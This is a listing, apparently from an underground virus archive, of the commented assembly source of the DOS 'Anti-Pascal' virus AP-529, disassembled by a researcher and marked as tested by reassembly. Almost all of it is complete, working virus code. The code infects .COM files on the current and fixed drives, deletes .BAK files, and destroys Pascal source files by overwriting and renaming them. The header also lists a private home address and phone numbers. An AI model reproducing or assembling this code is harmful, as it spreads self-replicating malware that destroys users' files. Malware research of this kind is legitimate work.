home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / a / ap-529.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  9.0 KB  |  341 lines

  1.     page    ,132
  2.  
  3.     name    AP529
  4.  
  5.     title    AP529 - The 'Anti-Pascal' Virus, version AP-529
  6.  
  7.     .radix    16
  8.  
  9.  
  10.  
  11. ; ╔══════════════════════════════════════════════════════════════════════════╗
  12.  
  13. ; ║  Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 ║
  14.  
  15. ; ║  Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255         ║
  16.  
  17. ; ║                                         ║
  18.  
  19. ; ║              The 'Anti-Pascal' Virus, version AP-529                ║
  20.  
  21. ; ║           Disassembled by Vesselin Bontchev, June 1990          ║
  22.  
  23. ; ║                                         ║
  24.  
  25. ; ║            Copyright (c) Vesselin Bontchev 1989, 1990             ║
  26.  
  27. ; ║                                         ║
  28.  
  29. ; ║     This listing is only to be made available to virus researchers      ║
  30.  
  31. ; ║           or software writers on a need-to-know basis.          ║
  32.  
  33. ; ╚══════════════════════════════════════════════════════════════════════════╝
  34.  
  35.  
  36.  
  37. ; The disassembly has been tested by re-assembly using MASM 5.0.
  38.  
  39.  
  40.  
  41. code    segment
  42.  
  43.     assume    cs:code,ds:code
  44.  
  45.  
  46.  
  47.     org    100
  48.  
  49.  
  50.  
  51. vlen    =    v_end-start
  52.  
  53. crit    equ    12        ; Address of the original INT 24h handler
  54.  
  55.  
  56.  
  57. start:
  58.  
  59.     push    ax        ; Save registers used
  60.  
  61.     push    cx
  62.  
  63.     push    si
  64.  
  65.     push    di
  66.  
  67.     push    bx
  68.  
  69.     push    flen        ; Save current file length
  70.  
  71.  
  72.  
  73. ; The operand of the instruction above is used as a signature by the virus
  74.  
  75.  
  76.  
  77. sign    equ    $-2
  78.  
  79.  
  80.  
  81.     jmp    short v_start    ; Go to virus start
  82.  
  83.  
  84.  
  85. flen    dw    vlen        ; File length before infection
  86.  
  87. f_name    db    13d dup (?)    ; File name buffer for the rename function call
  88.  
  89. fmask    db    '*.'            ; Mask for FindFirst/FindNext
  90.  
  91. fext    db    'com', 0        ; The extension part of the file mask
  92.  
  93. parent    db    '..', 0         ; Path for changing to the parent dir
  94.  
  95.  
  96.  
  97. com    db    'com'           ; File extensions used
  98.  
  99. bak    db    'bak'
  100.  
  101. pas    db    'pas'
  102.  
  103. wild    db    '???'
  104.  
  105. exe    db    'exe'
  106.  
  107.  
  108.  
  109. dta    equ    $        ; Disk Transfer Address area
  110.  
  111. drive    db    ?        ;Drive to search for
  112.  
  113. pattern db    11d dup (?)    ;Search pattern
  114.  
  115. reserve db    9 dup (?)    ;Not used
  116.  
  117. attrib    db    ?        ;File attribute
  118.  
  119. time    dw    ?        ;File time
  120.  
  121. date    dw    ?        ;File date
  122.  
  123. fsize    dd    ?        ;File size
  124.  
  125. namez    db    14d dup (?)    ;File name found
  126.  
  127.  
  128.  
  129. mem_seg dw    ?        ; Segment of the allocated I/O buffer
  130.  
  131. sizehld dw    ?        ; Size holder
  132.  
  133.  
  134.  
  135. v_start:
  136.  
  137.     mov    bx,1000     ; Shrink program memory size to 64 K
  138.  
  139.     mov    ah,4A
  140.  
  141.     int    21        ; Do it
  142.  
  143.  
  144.  
  145.     mov    ah,48        ; Allocate I/O buffer in memory
  146.  
  147.     mov    bx,vlen/16d+1    ;  (at least vlen long)
  148.  
  149.     int    21        ; Do it
  150.  
  151.     jc    cleanup     ; Exit on error
  152.  
  153.     mov    mem_seg,ax    ; Save the segment of the allocated memory
  154.  
  155.  
  156.  
  157.     mov    ax,2524     ; Set critical error handler
  158.  
  159.     mov    dx,offset int_24
  160.  
  161.     int    21        ; Do it
  162.  
  163.  
  164.  
  165.     mov    ah,1A        ; Set new DTA area
  166.  
  167.     mov    dx,offset dta
  168.  
  169.     int    21        ; Do it
  170.  
  171.  
  172.  
  173.     mov    ah,19        ; Get default drive
  174.  
  175.     int    21
  176.  
  177.     push    ax        ; Save it on stack
  178.  
  179.  
  180.  
  181.     call    infect        ; Proceed with infection
  182.  
  183.  
  184.  
  185.     int    11        ; Put equipment bits in ax
  186.  
  187.     test    ax,1        ; Diskette drives present?
  188.  
  189.     jz    cleanup     ; Exit if not (?!)
  190.  
  191.  
  192.  
  193.     shl    ax,1        ; Get number of floppy disk drives
  194.  
  195.     shl    ax,1        ;  in AH (0-3 means 1-4 drives)
  196.  
  197.     and    ah,3
  198.  
  199.  
  200.  
  201.     add    ah,2        ; Convert the number of drives to
  202.  
  203.     mov    al,ah        ;  the range 2-5 and put it into BL
  204.  
  205.     mov    bx,ax
  206.  
  207.     xor    bh,bh
  208.  
  209.  
  210.  
  211.     cmp    bl,3        ; More than 2 floppy drives?
  212.  
  213.     ja    many        ; Check if the highest one is removable if so
  214.  
  215.     mov    bl,3        ; Otherwise check disk C:
  216.  
  217. many:
  218.  
  219.     mov    ax,4408     ; Check whether device is removable
  220.  
  221.     int    21
  222.  
  223.     jc    cleanup     ; Exit on error (network)
  224.  
  225.     or    ax,ax        ; Is device removable?
  226.  
  227.     jz    cleanup     ; Exit if so
  228.  
  229.  
  230.  
  231.     mov    dl,bl        ; Otherwise select it as default
  232.  
  233.     dec    dl
  234.  
  235.     mov    ah,0E
  236.  
  237.     int    21        ; Do it
  238.  
  239.  
  240.  
  241.     call    infect        ; Proceed with this drive also
  242.  
  243.  
  244.  
  245. cleanup:
  246.  
  247.     pop    dx        ; Restore saved default disk from stack
  248.  
  249.     mov    ah,0E        ; Set default drive
  250.  
  251.     int    21        ; Do it
  252.  
  253.  
  254.  
  255.     pop    flen        ; Restore flen
  256.  
  257.  
  258.  
  259.     mov    es,mem_seg    ; Free allocated memory
  260.  
  261.     mov    ah,49
  262.  
  263.     int    21        ; Do it
  264.  
  265.  
  266.  
  267.     mov    ah,4A        ; Get all the available memory
  268.  
  269.     push    ds        ; ES := DS
  270.  
  271.     pop    es
  272.  
  273.     mov    bx,-1
  274.  
  275.     int    21        ; Do it
  276.  
  277.  
  278.  
  279.     mov    ah,4A        ; Assign it to the program (the initial state)
  280.  
  281.     int    21        ; Do it
  282.  
  283.  
  284.  
  285.     mov    dx,80        ; Restore old DTA
  286.  
  287.     mov    ah,1A
  288.  
  289.     int    21        ; Do it
  290.  
  291.  
  292.  
  293.     mov    ax,2524     ; Restore old critical error handler
  294.  
  295.     push    ds        ; Save DS
  296.  
  297.     lds    dx,dword ptr ds:[crit]
  298.  
  299.     int    21        ; Do it
  300.  
  301.     pop    ds        ; Restore DS
  302.  
  303.  
  304.  
  305.     pop    bx        ; Restore BX
  306.  
  307.  
  308.  
  309.     mov    ax,4F        ; Copy the program at exit_pgm into
  310.  
  311.     mov    es,ax        ;  the Intra-Aplication Communication
  312.  
  313.     xor    di,di        ;  Area (0000:04F0h)
  314.  
  315.     mov    si,offset exit_pgm
  316.  
  317.     mov    cx,pgm_end-exit_pgm    ; exit_pgm length
  318.  
  319.     cld
  320.  
  321.     rep    movsb        ; Do it
  322.  
  323.     mov    ax,ds        ; Correct the Far JMP instruction with
  324.  
  325.     stosw            ;  the current DS value
  326.  
  327.  
  328.  
  329.     mov    di,offset start ; Prepare for moving vlen bytes
  330.  
  331.     mov    si,flen     ;  from file end to start
  332.  
  333.     add    si,di
  334.  
  335.     mov    cx,vlen
  336.  
  337.     push    ds        ; ES := DS
  338.  
  339.     pop    es
  340.  
  341. ;    jmp    far ptr 004F:0000    ; Go to exit_pgm
  342.  
  343.     db    0EA, 0, 0, 4F, 0
  344.  
  345.  
  346.  
  347. exit_pgm:
  348.  
  349.     rep    movsb        ; Restore the original bytes of the file
  350.  
  351.     pop    di        ; Restore registers used
  352.  
  353.     pop    si
  354.  
  355.     pop    cx
  356.  
  357.     pop    ax
  358.  
  359.     db    0EA, 0, 1    ; JMP Far at XXXX:0100
  360.  
  361. pgm_end equ    $
  362.  
  363.  
  364.  
  365. lseek:
  366.  
  367.     mov    ah,42
  368.  
  369.     xor    cx,cx        ; Offset := 0
  370.  
  371.     xor    dx,dx
  372.  
  373.     int    21        ; Do it
  374.  
  375.     ret            ; And exit
  376.  
  377.  
  378.  
  379. f_first:            ; Find first file with extension pointed by SI
  380.  
  381.     mov    di,offset fext    ; Point DI at extension part of fmask
  382.  
  383.     cld            ; Clear direction flag
  384.  
  385.     movsw            ; Copy the extension pointed by SI
  386.  
  387.     movsb            ;  to file mask for FindFirst/FindNext
  388.  
  389.     mov    ah,4E        ; Find first file matching fmask
  390.  
  391.     mov    cx,20        ; Normal files only
  392.  
  393.     mov    dx,offset fmask
  394.  
  395.     ret            ; Exit
  396.  
  397.  
  398.  
  399. wr_body:
  400.  
  401.     mov    ax,3D02     ; Open file for reading and writing
  402.  
  403.     mov    dx,offset namez ; FIle name is in namez
  404.  
  405.     int    21        ; Do it
  406.  
  407.     mov    bx,ax        ; Save handle in BX
  408.  
  409.  
  410.  
  411.     mov    ah,3F        ; Read the first vlen bytes of the file
  412.  
  413.     mov    cx,vlen     ;  in the allocated memory buffer
  414.  
  415.     push    ds        ; Save DS
  416.  
  417.     mov    ds,mem_seg
  418.  
  419.     xor    dx,dx
  420.  
  421.     int    21        ; Do it
  422.  
  423.  
  424.  
  425.     mov    ax,ds:[sign-start]    ; Get virus signature
  426.  
  427.     pop    ds        ; Restore DS
  428.  
  429.     cmp    ax,word ptr ds:[offset sign]    ; File already infected?
  430.  
  431.     je    is_inf        ; Exit if so
  432.  
  433.     push    ax        ; Save AX
  434.  
  435.     mov    al,0        ; Lseek to the file beginning
  436.  
  437.     call    lseek        ; Do it
  438.  
  439.     mov    ah,40        ; Write virus body over the
  440.  
  441.     mov    dx,offset start ;  first bytes of the file
  442.  
  443.     mov    cx,sizehld    ; Number of bytes to write
  444.  
  445.     int    21        ; Do it
  446.  
  447.  
  448.  
  449.     pop    ax        ; Restore AX
  450.  
  451.     clc            ; CF == 0 means infection successfully done
  452.  
  453.     ret            ; Exit
  454.  
  455. is_inf:
  456.  
  457.     stc            ; CF == 1 means file already infected
  458.  
  459.     ret            ; Exit
  460.  
  461.  
  462.  
  463. rename:
  464.  
  465.     push    si        ; Save SI
  466.  
  467.     mov    si,offset namez ; Point SI at file name
  468.  
  469.     mov    dx,si        ; Point DX there too
  470.  
  471.     mov    di,offset f_name    ; Point DI at the name buffer
  472.  
  473.  
  474.  
  475. cpy_name:
  476.  
  477.     lodsb            ; Get byte from the file name
  478.  
  479.     stosb            ; Store it in the name buffer
  480.  
  481.     cmp    al,'.'          ; Is all the name (up to the extension) copied?
  482.  
  483.     jne    cpy_name    ; Loop if not
  484.  
  485.  
  486.  
  487.     pop    si        ; Restore SI
  488.  
  489.     movsw            ; Copy the new extension
  490.  
  491.     movsb            ;  into the file name buffer
  492.  
  493.     xor    al,al        ; Make the file name ASCIIZ
  494.  
  495.     stosb            ;  by placing a zero after it
  496.  
  497.  
  498.  
  499.     mov    ah,56        ; Now rename the file to the new extension
  500.  
  501.     mov    di,offset f_name
  502.  
  503.     int    21        ; Do it
  504.  
  505.     ret            ; Done. Exit
  506.  
  507.  
  508.  
  509. infect:
  510.  
  511.     mov    si,offset com    ; Find the first .COM file in this dir
  512.  
  513.     call    f_first
  514.  
  515. f_next2:
  516.  
  517.     int    21        ; Do it
  518.  
  519.     jc    pass_2        ; Do damage if no such files
  520.  
  521.  
  522.  
  523.     mov    ax,word ptr fsize    ; Check the size of the file found
  524.  
  525.     cmp    ax,vlen     ; Less than virus length?
  526.  
  527.     jb    next        ; Too small, don't touch
  528.  
  529.     cmp    ax,0FFFF-vlen    ; Bigger than 64 K - vlen?
  530.  
  531.     ja    next        ; Too big, don't touch
  532.  
  533.     mov    flen,ax     ; Save file length
  534.  
  535.     mov    sizehld,vlen
  536.  
  537.     call    wr_body     ; Write virus body over the file
  538.  
  539.     jc    next        ; Exit on error
  540.  
  541.     mov    al,2        ; Lseek to file end
  542.  
  543.     call    lseek        ; Do it
  544.  
  545.     push    ds        ; Save DS
  546.  
  547.     mov    ds,mem_seg    ; Write the original bytes from
  548.  
  549.     mov    cx,vlen     ;  the file beginning after its end
  550.  
  551.     xor    dx,dx
  552.  
  553.     mov    ah,40
  554.  
  555.     int    21        ; Do it
  556.  
  557.     pop    ds        ; Restore DS
  558.  
  559.  
  560.  
  561. close:
  562.  
  563.     mov    ah,3E        ; Close the file handle
  564.  
  565.     int    21        ; Do it
  566.  
  567.     ret            ; And exit
  568.  
  569.  
  570.  
  571. next:
  572.  
  573.     call    close        ; Close the file
  574.  
  575.     mov    ah,4F        ; And go find another one
  576.  
  577.     jmp    f_next2
  578.  
  579.  
  580.  
  581. pass_2:
  582.  
  583.     mov    si,offset bak    ; Find a *.BAK file
  584.  
  585.     call    f_first     ; Do it
  586.  
  587.     int    21
  588.  
  589.     jc    pas_srch    ; On error search for *.PAS files
  590.  
  591.     mov    dx,offset namez ; Otherwise delete the file
  592.  
  593.     mov    ah,41        ; Do it
  594.  
  595.     int    21
  596.  
  597.  
  598.  
  599. pas_srch:
  600.  
  601.     mov    si,offset pas    ; Find a *.PAS file
  602.  
  603.     call    f_first     ; Do it
  604.  
  605.     int    21
  606.  
  607.     jc    inf_xit     ; Exit on error
  608.  
  609.  
  610.  
  611.     mov    ax,word ptr fsize
  612.  
  613.     mov    sizehld,ax    ; Save file size
  614.  
  615.     call    wr_body     ; Overwrite the file with the virus body
  616.  
  617.     call    close        ; Close it
  618.  
  619.     mov    si,offset com    ; Try to rename it as a .COM file
  620.  
  621.     call    rename        ; Do it
  622.  
  623.     jnc    inf_xit     ; Exit if renaming OK
  624.  
  625.     mov    si,offset exe    ; Otherwise try to rename it as an .EXE file
  626.  
  627.     call    rename        ; Do it
  628.  
  629.     jnc    inf_xit     ; Exit if renaming OK
  630.  
  631.     mov    ah,41        ; Otherwise just delete that stupid file
  632.  
  633.     int    21        ; Do it
  634.  
  635. inf_xit:
  636.  
  637.     ret            ; And exit
  638.  
  639.  
  640.  
  641. int_24:             ; Critical error handler
  642.  
  643.     mov    al,2        ; Abort suggested (?!)
  644.  
  645.     iret            ; Return
  646.  
  647.  
  648.  
  649. v_end    =    $
  650.  
  651.  
  652.  
  653. ; Here goes the rest of the original program (if any):
  654.  
  655.  
  656.  
  657. ; And here (after the  end of file) are the overwritten first 529 bytes:
  658.  
  659.  
  660.  
  661.     jmp    quit        ; The original "program"
  662.  
  663.  
  664.  
  665.     db    (529d - 8) dup (90)
  666.  
  667.  
  668.  
  669. quit:
  670.  
  671.     mov    ax,4C00     ; Just exit
  672.  
  673.     int    21
  674.  
  675.  
  676.  
  677. code    ends
  678.  
  679.     end    start
  680.  
  681.